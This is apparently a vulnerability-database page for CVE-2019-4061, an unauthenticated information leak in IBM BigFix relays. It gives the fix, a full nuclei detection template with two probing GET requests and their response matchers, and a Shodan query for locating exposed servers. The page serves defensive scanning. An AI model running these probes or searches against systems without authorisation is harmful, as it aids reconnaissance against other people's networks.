HexBrain

Browse / CVEs / CVE-2019-4061

CVE-2019-4061· ibm / bigfix platform· CWE-200

IBM BigFix Platform - Information Disclosure

mediumseverity
5.3CVSS score
22.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

IBM BigFix Platform 9.2 and 9.5 contains an information disclosure vulnerability caused by not enabling authenticated access in relay, letting remote attackers query and gather update and fixlet information, exploit requires no authentication.

Impact

Attackers can remotely gather sensitive update and fixlet deployment information, potentially aiding targeted attacks.

Fix

Enable authenticated access for relay to prevent unauthorized information queries.

How to confirm it

Send: GET {{BaseURL}}/masthead/masthead.axfm
Positive when: status_code == 200 and contains_all(body, "Organization: ", "-URL: ")
Send: GET {{BaseURL}}/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands
Positive when: status_code == 200 and contains(body, "x-bes-command-hasiteversion:")

Run it with nuclei: nuclei -id CVE-2019-4061 -u <target>

The full check
id: CVE-2019-4061

info:
  name: IBM BigFix Platform - Information Disclosure
  author: daffainfo
  severity: medium
  description: |
    IBM BigFix Platform 9.2 and 9.5 contains an information disclosure vulnerability caused by not enabling authenticated access in relay, letting remote attackers query and gather update and fixlet information, exploit requires no authentication.
  impact: |
    Attackers can remotely gather sensitive update and fixlet deployment information, potentially aiding targeted attacks.
  remediation: |
    Enable authenticated access for relay to prevent unauthorized information queries.
  reference:
    - https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers
    - https://github.com/rapid7/metasploit-framework/blob/0fd8f0984e10a135c000d1fb8797d76d62fb24f7/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2019-4061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-4061
    epss-score: 0.22547
    epss-percentile: 0.97726
    cwe-id: CWE-200
    cpe: cpe:2.3:a:ibm:bigfix_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ibm
    product: bigfix_platform
    shodan-query: port:52311 "BigFixHTTPServer"
  tags: cve,cve2019,ibm,bigfix,disclosure,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/masthead/masthead.axfm"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Organization: ", "-URL: ")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "x-bes-command-hasiteversion:")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from